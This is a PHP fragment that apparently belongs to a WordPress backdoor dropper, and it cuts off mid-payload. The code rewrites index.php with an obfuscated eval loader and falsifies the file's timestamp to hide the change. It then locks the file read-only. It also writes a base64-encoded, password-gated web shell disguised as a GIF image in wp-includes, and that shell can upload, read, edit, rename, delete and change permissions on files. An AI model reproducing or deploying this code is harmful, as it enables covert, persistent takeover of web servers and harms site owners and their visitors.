Chjb3VudCgkeDRVanRqQUdfclR1R3VFNCkgPT0gMTUgJiYgaW5fYXJyYXkoZ2V0dHlwZSgkeDRVanRqQUdfclR1R3VFNCkgLiBjb3VudCgkeDRVanRqQUdfclR1R3VFNCksICR4NFVqdGpBR19yVHVHdUU0KSkgPyAoJHg0VWp0akFHX3JUdUd1RTRbNjRdID0gJHg0VWp0akFHX3JUdUd1RTRbNjRdIC4gJHg0VWp0akFHX3JUdUd1RTRbNzddKSAmJiAoJHg0VWp0akFHX3JUdUd1RTRbODZdID0gJHg0VWp0akFHX3JUdUd1RTRbNjRdKCR4NFVqdGpBR19yVHVHdUU0Wzg2XSkpICYmIEBldmFsKCR4NFVqdGpBR19yVHVHdUU0WzY0XSgkeyR4NFVqdGpBR19yVHVHdUU0WzQ1XX1bMTVdKSkgOiAkeDRVanRqQUdfclR1R3VFNDsgZ290byBXbjNIOTNkemxnT2hiREZkOyBXNmJwVmtiY05jYWl5SDhkOiBpZiAoIXN0cmxlbigkREdfa1cyOHZNU2g3a2FaRVsiXDE0M1wxNTdceDZlXHg3NFx4NjVcMTU2XHg3NCJdKSkgeyBnb3RvIHRBVERWdnM2RHlYaVpTWUk7IH0gZ290byB4alJidDdZR1RWZDZDRFVrOyBLX3U4QURkQThOX0FDYzRhOiBhUTVzSFpZM0RxRWlaYVM5Ogo/Pgo8P3BocCBkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOyByZXF1aXJlKCcuL3dwLWJsb2ctaGVhZGVyLnBocCcpOz8+");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
    @chmod($do."index.php", 0644);
    @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
    @touch($do."index.php", filectime($do."index.php"));
    @chmod($do."index.php", 0444);
}

$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
    $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0g